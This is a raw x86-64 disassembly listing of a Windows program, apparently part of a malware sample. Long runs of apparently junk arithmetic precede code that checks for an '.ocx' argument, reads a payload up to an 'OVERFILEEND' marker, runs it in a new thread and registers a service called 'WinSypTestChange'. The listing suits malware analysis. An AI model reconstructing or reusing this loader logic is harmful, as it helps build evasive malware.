jge 0x140020a0a
dec r8d
or r8d, 0xfffffffc
inc r8d
add r8b, byte [rsp + 0x3a]
xor esi, esi
movsx edx, r8b
mov eax, esi
cmp edx, r13d
mov dword [rsp + 0x84], edx
sete al
xor eax, r12d
cmp dword [rsp + 0x90], eax
sete al
and cl, al
mov byte [rsp + 0x30], cl
cmp byte [rsp + 0x35], sil
je 0x140020a55
test r11d, r11d
je 0x140020a55
movsx eax, r14b
test edi, eax
je 0x140020a55
lea eax, [rsi + 1]
cmp byte [rsp + 0x4c], sil
jne 0x140020a57
mov eax, esi
mov ecx, dword [rsp + 0x7c]
and r10d, eax
mov eax, dword [rsp + 0x70]
add eax, r12d
movsx r11d, bpl
and ecx, eax
mov dword [rsp + 0x3c], r10d
mov dword [rsp + 0x7c], ecx
mov eax, r9d
mov dword [0x140042b60], ecx
movzx ecx, r14b
shr eax, cl
mov ecx, esi
mov esi, dword [rsp + 0x44]
cmp r13d, eax
mov eax, dword [rsp + 0x64]
sete cl
or ecx, r11d
xor eax, ecx
movsx ecx, byte [0x140042a62]
mov dword [rsp + 0x64], eax
mov dword [0x140042b58], eax
test r9d, ecx
jne 0x140020afc
test esi, esi
jne 0x140020afc
xor eax, eax
jmp 0x140020b01
movzx ecx, byte [rsp + 0x32]
movzx eax, byte [rsp + 0x7c]
sub al, r8b
xor cl, al
mov byte [rsp + 0x32], cl
movzx ecx, byte [rsp + 0x30]
test cl, cl
jne 0x140020ae3
cmp byte [rsp + 0x6c], cl
jne 0x140020ae3
xor eax, eax
test r11d, r11d
je 0x140020ae8
test al, al
je 0x140020ae8
mov eax, 1
sub ebx, eax
mov dword [rsp + 0x88], ebx
mov dword [0x140042b6c], ebx
jmp 0x1400209d5
mov eax, 1
mov ebp, dword [rsp + 0x60]
sub ebp, eax
movsx r10d, r14b
mov eax, 0x55555556
mov dword [rsp + 0x60], ebp
imul edx
xor eax, eax
mov dword [0x140042b38], ebp
mov r9d, edx
mov dword [rsp + 0x90], r10d
shr r9d, 0x1f
add r9d, edx
add r9b, byte [rsp + 0x36]
cmp r10d, esi
sete al
cmp eax, ebp
je 0x140020bf8
movzx eax, r9b
imul eax, r11d
cdq
and edx, 3
lea esi, [rdx + rax]
sar esi, 2
mov dword [rsp + 0x44], esi
cmp dword [rsp + 0x50], r13d
je 0x140020b71
test r9b, r9b
je 0x140020b71
mov dword [rsp + 0x54], 1
xor eax, eax
jmp 0x140020b77
xor eax, eax
mov dword [rsp + 0x54], eax
and dword [rsp + 0x5c], r10d
mov edx, dword [0x140042b7c]
test edx, edx
je 0x140020b90
test r8b, r8b
je 0x140020b90
mov eax, 1
movzx ecx, byte [rsp + 0x36]
and r15b, al
mov eax, ecx
mov byte [rsp + 0x39], r15b
and eax, r13d
add ebp, eax
lea eax, [rcx + rsi]
mov dword [rsp + 0x60], ebp
xor byte [0x140042b88], al
cmp dword [rsp + 0x7c], 0
mov dword [0x140042b38], ebp
jne 0x140020bde
test r13d, r13d
je 0x140020bc7
test esi, esi
jne 0x140020bde
xor eax, eax
or dword [rsp + 0x70], eax
movzx eax, r12b
and al, byte [rsp + 0x8c]
sub byte [rsp + 0x38], al
jmp 0x140020bfe
mov eax, 1
or dword [rsp + 0x70], eax
movzx eax, r12b
and al, byte [rsp + 0x8c]
sub byte [rsp + 0x38], al
jmp 0x140020bfe
mov edx, dword [0x140042b7c]
mov ecx, dword [rsp + 0x3c]
mov eax, dword [0x140042a64]
add eax, r10d
or ecx, eax
movzx eax, byte [rsp + 0x33]
or al, r8b
mov dword [rsp + 0x3c], ecx
mov dword [0x140042b48], ecx
jne 0x140020c36
movzx eax, r9b
sub eax, dword [rsp + 0x48]
or eax, r13d
jne 0x140020c36
xor eax, eax
mov dword [rsp + 0x74], eax
jmp 0x140020c3e
mov dword [rsp + 0x74], 1
movzx ebp, byte [rsp + 0x4c]
lea eax, [r10 + r12]
mov r13d, dword [rsp + 0x94]
sub r11d, r10d
movzx r15d, byte [rsp + 0x30]
mov ecx, edi
shl r11d, cl
mov r8d, 0xa2
add edx, r11d
xor ecx, ecx
movzx r11d, byte [0x140042b88]
mov r9d, ecx
mov ecx, dword [0x140042b40]
cmp eax, r10d
mov dword [0x140042b7c], edx
mov eax, 0xaaaaaaab
sete r9b
imul ecx, esi
and r9d, ebx
mov ebx, dword [rsp + 0x54]
mul ecx
mov ecx, r12d
shr edx, 1
shl r11b, cl
nop
dec r8d
cmp byte [rsp + 0x36], 0
jne 0x140020cb4
test edi, edi
jne 0x140020cb4
xor esi, esi
mov eax, esi
jmp 0x140020cbb
mov eax, 1
xor esi, esi
and r15b, al
xor ebx, r9d
cmp dword [rsp + 0x70], 0
jne 0x140020ce2
test r13d, r13d
jne 0x140020cd8
cmp byte [0x140042a62], r13b
mov eax, esi
je 0x140020cdd
mov eax, 1
cmp r10d, eax
jge 0x140020cf0
mov eax, dword [rsp + 0x5c]
mov ecx, edi
shr eax, cl
or al, r12b
xor r15b, al
movzx eax, dl
add eax, ebp
je 0x140020d01
mov eax, 1
test r14b, r14b
jne 0x140020d03
mov eax, esi
add byte [rsp + 0x37], al
test r15b, r15b
jne 0x140020d16
test r14b, r14b
jne 0x140020d16
xor sil, sil
jmp 0x140020d19
mov sil, 1
movzx eax, byte [rsp + 0x32]
and al, r11b
mov byte [rsp + 0x32], al
mov byte [0x140042a63], al
test r8d, r8d
jne 0x140020ca0
mov r9d, dword [rsp + 0x44]
mov r13d, dword [rsp + 0x74]
movzx r8d, dl
mov dword [rsp + 0x54], ebx
mov ebx, dword [rsp + 0x88]
mov byte [rsp + 0x30], r15b
movzx r15d, byte [rsp + 0x39]
cmp r8d, r9d
je 0x140020e13
movzx eax, byte [rsp + 0x31]
lea ecx, [r8 + rdi]
xor r11d, r11d
cmp eax, ecx
mov edx, r11d
mov eax, dword [rsp + 0x58]
sete dl
and eax, edx
mov dword [rsp + 0x58], eax
mov dword [0x140042b68], eax
cmp byte [rsp + 0x32], r11b
jne 0x140020d94
mov eax, r11d
test r14b, r14b
je 0x140020d99
mov eax, 1
mov ecx, dword [rsp + 0x64]
mov ebp, dword [rsp + 0x94]
xor ecx, eax
mov edx, dword [rsp + 0x84]
lea eax, [r10 + r9]
mov r11d, dword [0x140042a64]
cmp eax, ebp
mov dword [rsp + 0x64], ecx
sete al
mov dword [0x140042b58], ecx
or al, byte [0x140042b40]
mov ecx, edi
or al, byte [rsp + 0x40]
sub ecx, r9d
or sil, al
mov eax, r12d
shl eax, cl
movzx ecx, al
movzx eax, byte [rsp + 0x37]
shl r11d, cl
lea ecx, [rdx + rbp]
shl eax, cl
mov dword [rsp + 0x5c], r11d
test eax, eax
jne 0x140020e08
mov eax, r10d
or eax, dword [rsp + 0x48]
jne 0x140020e08
xor eax, eax
and byte [rsp + 0x34], al
jmp 0x140020e26
mov eax, 1
and byte [rsp + 0x34], al
jmp 0x140020e26
mov ebp, dword [rsp + 0x94]
mov edx, dword [rsp + 0x84]
mov r11d, dword [rsp + 0x5c]
xor eax, eax
cmp dword [rsp + 0x64], r10d
mov ecx, eax
seta cl
cmp edx, dword [rsp + 0x68]
setne al
cmp ecx, eax
jae 0x140020e4a
cmp r10d, ebp
sete al
and al, r11b
mov byte [rsp + 0x36], al
lea eax, [r14 + rbp]
mov r11d, r8d
or al, byte [rsp + 0x36]
movzx ecx, r12b
add byte [0x140042a62], al
and r11d, dword [0x140042b40]
movzx eax, byte [rsp + 0x33]
sar al, cl
mov dword [0x140042b44], r11d
test al, al
je 0x140020e90
movzx eax, byte [rsp + 0x34]
mov ecx, r9d
sub ecx, eax
or ecx, r12d
je 0x140020e90
mov eax, 1
xor edx, edx
jmp 0x140020e94
xor edx, edx
mov eax, edx
mov ecx, dword [rsp + 0x64]
add sil, al
mov byte [rsp + 0x39], sil
mov byte [0x140042b66], sil
test ecx, ecx
je 0x140020eb9
lea eax, [r10 + rdi]
test r12d, eax
mov eax, 1
jne 0x140020ebb
mov eax, edx
add dword [rsp + 0x40], eax
test ecx, ecx
jne 0x140020ed0
mov eax, r9d
sub eax, r10d
cmp eax, r8d
mov eax, edx
je 0x140020ed5
mov eax, 1
and r13d, eax
mov eax, 0xcccccccd
mul ebp
mov eax, dword [rsp + 0x3c]
mov dword [0x140042b28], r13d
mov r13d, 0x101
shr edx, 2
nop dword [rax]
nop word [rax + rax]
movzx ecx, dl
movzx r9d, bpl
shl cl, 2
lea r8d, [rcx + rdx]
sub r9b, r8b
add r9b, al
sub r13d, 1
jne 0x140020f00
imul ebx, dword [rsp + 0x44]
mov eax, 0xaaaaaaab
mul ebx
shr edx, 1
lea eax, [rdx + rdx*2]
sub ebx, eax
mov eax, 0x66666667
imul r12d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, byte [0x140042b88]
add dl, sil
cmp eax, edi
je 0x140020f59
test ebx, ebx
je 0x140020f59
lea eax, [r13 + 1]
xor r8d, r8d
jmp 0x140020f5f
xor r8d, r8d
mov eax, r8d
mov ecx, dword [rsp + 0x80]
movzx esi, byte [rsp + 0x30]
sub cl, al
mov byte [0x140042a86], cl
test sil, sil
je 0x140020f81
mov eax, 1
test edi, edi
jne 0x140020f84
mov eax, r8d
movsx r8d, byte [0x140042a62]
movzx ecx, dl
movzx r12d, byte [rsp + 0x38]
mov r13d, r10d
add r12b, al
shr r9b, cl
xor r9b, byte [rsp + 0x32]
mov eax, 0xcccccccd
xor r9b, byte [rsp + 0x4c]
imul r8d, ebx
xor r9b, r14b
mov byte [0x140042b81], r9b
mov byte [0x140042b83], r12b
mul r8d
mov eax, 0x66666667
shr edx, 2
lea ecx, [rdx + rdx*4]
sub r8d, ecx
mov ecx, r10d
imul ecx, dword [rsp + 0x68]
imul ecx
mov ebp, edx
sar ebp, 1
mov eax, ebp
shr eax, 0x1f
add ebp, eax
mov eax, 0x55555556
imul r10d
movsx r9d, bpl
mov eax, edx
mov dword [rsp + 0x74], ebp
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
movzx edx, sil
sub r13d, eax
mov dword [0x140042a88], edx
movzx eax, r12b
add r13d, eax
movsx eax, r11b
mov r11d, dword [0x140042b7c]
imul r9d, eax
and r9b, 3
test r11d, r11d
je 0x140021046
movzx ecx, r8b
add ecx, ecx
movzx eax, r9b
cmp ecx, eax
je 0x140021046
mov eax, 1
xor r14d, r14d
jmp 0x14002104c
xor r14d, r14d
mov eax, r14d
movzx ecx, byte [rsp + 0x3a]
xor cl, al
mov eax, edi
mov byte [0x140042b80], cl
mov ecx, r10d
sar eax, cl
mov ecx, dword [rsp + 0x5c]
or ecx, eax
mov dword [0x140042b30], ecx
test r11d, r11d
je 0x14002107a
mov eax, 1
test ebp, ebp
jne 0x14002107d
mov eax, r14d
mov ecx, dword [rsp + 0x54]
mov r11d, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x54], ecx
mov dword [0x140042b34], ecx
test r11d, r11d
jne 0x14002109d
mov eax, edi
xor eax, ebp
je 0x1400210c3
xor ecx, 1
mov dword [rsp + 0x54], ecx
mov dword [0x140042b34], ecx
test r11d, r11d
je 0x1400210c3
movsx eax, r9b
movzx ecx, r8b
sub ecx, eax
mov eax, 1
add ecx, r13d
jne 0x1400210c6
mov eax, r14d
movzx r14d, byte [rsp + 0x34]
mov r12d, r10d
sub r14b, al
movsx r11d, r9b
lea eax, [rsi + rbp]
mov byte [0x140042b57], r14b
mov ebp, dword [rsp + 0x9c]
add al, r8b
mov ecx, r11d
movzx edi, r8b
shr edx, cl
movzx ecx, byte [rsp + 0x37]
xor al, dl
xor cl, al
mov edx, 0x102
mov byte [0x140042b65], cl
mov eax, r10d
mov ecx, r10d
shl r12d, cl
mov ecx, ebx
shl eax, cl
or r12d, edi
cmp r10d, eax
movzx eax, r14b
mov r14d, r11d
sete cl
shl eax, cl
movzx ecx, r13b
sar r14d, cl
mov ecx, r10d
mov r10d, dword [rsp + 0x98]
shl r14d, cl
mov ecx, dword [0x140042a64]
and r14d, dword [rsp + 0x54]
mov dword [rsp + 0xa0], eax
movzx eax, cl
mov esi, dword [rsp + 0xa0]
sub al, bpl
mov byte [0x140042b82], al
dec edx
test ecx, ecx
jne 0x140021178
test ebx, ebx
je 0x140021174
test r8b, r8b
je 0x140021174
test r10b, r10b
jne 0x140021178
xor eax, eax
jmp 0x14002117d
mov eax, 1
sub r15b, al
mov ecx, r12d
mov eax, dword [rsp + 0x50]
xor eax, esi
mov dword [rsp + 0x50], eax
mov dword [0x140042b3c], eax
shr eax, cl
mov ecx, dword [rsp + 0x48]
add ecx, eax
mov dword [rsp + 0x48], ecx
mov dword [0x140042a8c], ecx
test r14d, r14d
je 0x1400211b8
cmp dword [rsp + 0x60], 0
je 0x1400211b8
mov eax, 1
jmp 0x1400211ba
xor eax, eax
movzx ecx, byte [rsp + 0x30]
xor cl, al
mov byte [rsp + 0x30], cl
mov byte [0x140042a87], cl
test r13d, r13d
jne 0x1400211d5
cmp r8b, cl
jne 0x1400211fb
lea eax, [rdi + r11]
mov ecx, ebp
sar eax, cl
cmp dword [0x140042b40], eax
je 0x1400211f0
cmp dword [rsp + 0x50], 0
jne 0x1400211f0
xor eax, eax
jmp 0x1400211f5
mov eax, 1
or byte [0x140042a62], al
test r9b, r9b
je 0x140021212
mov ecx, edi
mov eax, r11d
shl eax, cl
test eax, eax
je 0x140021212
mov eax, 1
jmp 0x140021214
xor eax, eax
xor eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x40]
and ecx, eax
mov dword [rsp + 0x40], ecx
mov dword [0x140042b78], ecx
mov ecx, dword [0x140042a64]
test edx, edx
jne 0x140021160
mov r10d, dword [rsp + 0x90]
mov eax, 0x55555556
imul r10d, dword [rsp + 0x60]
movzx esi, byte [rsp + 0x39]
mov ebp, dword [rsp + 0x74]
imul r10d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
mov edx, ecx
sub r10d, eax
mov eax, 0x174
nop dword [rax]
mov ecx, edx
shl bl, cl
xor bl, bpl
or bl, sil
or bl, r9b
or r15b, bl
mov ebx, r10d
sub rax, 1
jne 0x140021270
mov byte [0x140042b55], r15b
call fcn.1400355b0
call qword [sym.imp.KERNEL32.dll_GetACP]
test eax, eax
je 0x14002147e
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, 1
jbe 0x14002147e
mov rbx, qword [rsp + 0x110]
or rax, 0xffffffffffffffff
nop
inc rax
cmp word [rbx + rax*2], 0
jne 0x1400212c0
cmp rax, 5
jbe 0x140021412
lea rdx, str..ocx
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrStrW]
test rax, rax
je 0x140021412
call fcn.140023ac0
lea rdx, str.r_ccsUNICODE
mov rcx, rbx
call fcn.140002b4c
mov rbp, rax
test rax, rax
je 0x14002148a
mov edx, 0x3e8
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, 0x3e8
mov ecx, 0x40
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r8, rbp
mov edx, 0x3e8
mov rcx, rdi
mov rsi, rax
call fcn.140002c30
test rax, rax
je 0x140021409
nop dword [rax]
or rbx, 0xffffffffffffffff
inc rbx
cmp word [rdi + rbx*2], 0
jne 0x140021354
xor edx, edx
mov r8d, 0x3e8
mov rcx, rsi
call fcn.140002350
mov r8d, ebx
mov rdx, rdi
mov rcx, rsi
lea r8, [r8*2 - 2]
call fcn.140001cb0
lea rdx, str.OVERFILEEND
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_StrStrW]
test rax, rax
je 0x1400213a2
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
lea r8, [0x140023410]
mov qword [rsp + 0x28], rax
mov r9, rsi
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov r8d, 0x3e8
mov rcx, rdi
call fcn.140002350
mov r8, rbp
mov edx, 0x3e8
mov rcx, rdi
call fcn.140002c30
test rax, rax
jne 0x140021350
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetACP]
test eax, eax
je 0x140021475
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, 1
jbe 0x140021475
lea rax, str.WinSypTestChange
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0xa8]
lea rax, [0x1400214c0]
mov qword [rsp + 0xb0], rax
xor eax, eax
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], rax
call qword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
test eax, eax
jne 0x140021475
xor edx, edx
or rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
or rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret